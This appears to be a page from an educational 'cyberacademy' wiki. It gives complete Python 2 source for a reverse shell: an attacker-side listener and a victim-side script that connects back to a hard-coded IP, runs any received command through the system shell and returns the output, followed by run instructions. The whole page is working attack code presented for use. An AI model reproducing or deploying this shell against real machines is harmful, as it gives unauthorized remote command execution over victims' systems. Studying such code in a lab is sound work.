dardan:cyberacademy:python:reverse_shell.py
##nano attacker.py
import socket
host = '0.0.0.0'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
client_socket, (client_ip, client_port) = s.accept()
while True:
command = raw_input("$ ")
client_socket.send(command)
if(command == "quit" or command == "exit"):
break
data = client_socket.recv(1024)
print data
client_socket.close()
##nano victim.py
import socket
import os
import subprocess
host = '172.16.60.72'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.connect((host, port))
while True:
data = s.recv(1024)
if(data == "quit" or data == "exit"):
break
if(data.split()[0] == "cd"):
os.chdir(data.split()[1])
print("Directory changed to: " + os.getcwd())
else:
cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmd_output = cmd.stdout.read() + cmd.stderr.read()
s.send(cmd_output + os.getcwd())
First run $python attacker.py keep it running Second run $python victim.py ##be sure that you modified your IP
dardan/cyberacademy/python/reverse_shell.py.txt · Last modified: 2018/09/26 19:19 by dardan
